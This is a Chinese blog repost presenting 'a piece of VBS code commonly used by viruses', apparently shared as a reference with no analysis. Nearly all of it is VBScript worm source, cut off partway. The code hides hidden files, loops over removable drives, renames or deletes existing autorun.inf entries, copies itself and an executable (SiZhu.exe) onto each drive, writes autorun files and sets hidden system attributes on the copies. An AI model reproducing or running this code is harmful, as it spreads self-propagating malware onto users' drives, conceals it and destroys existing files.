一段病毒常用的VBS代码

171 阅读 0 评论 113 点赞

我是靠谱客的博主纯情金毛，最近开发中收集的这篇文章主要介绍一段病毒常用的VBS代码，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

复制代码代码如下:

On error resume next 
Dim fso,wshell,curfolder,curdristr,curdri 
Set fso=createobject("scripting.filesystemobject") 
Set wshell=CreateObject("WScript.shell") 
Set curfolder=fso.GetFolder(".") 
curdristr=Left(WScript.ScriptFullName,3) 
Set curdri=fso.GetDrive(curdristr) 
reghid() '不显示隐藏文件 
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中 
For i=1 To 2 Step 0 
reghid() 
For Each dri In fso.Drives 
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then 
'autorun.inf文件夹改名 
If fso.FolderExists(dri.Path&"\autorun.inf") Then 
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish" 
End If 
'复制自身及exe文件到移动硬盘 
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then 
Else 
If fso.FileExists(dri.Path&"\mp3.vbs") Then 
fso.DeleteFile dri.Path&"\mp3.vbs",True 
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then 
fso.DeleteFile dri.Path&"\autorun.inf",True 
End if 
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True 
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then 
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True 
End If 
autoinf(dri.Path) 
'给刚复制的文件加上隐藏属性 
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs") 
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0 
Set norkon=Nothing 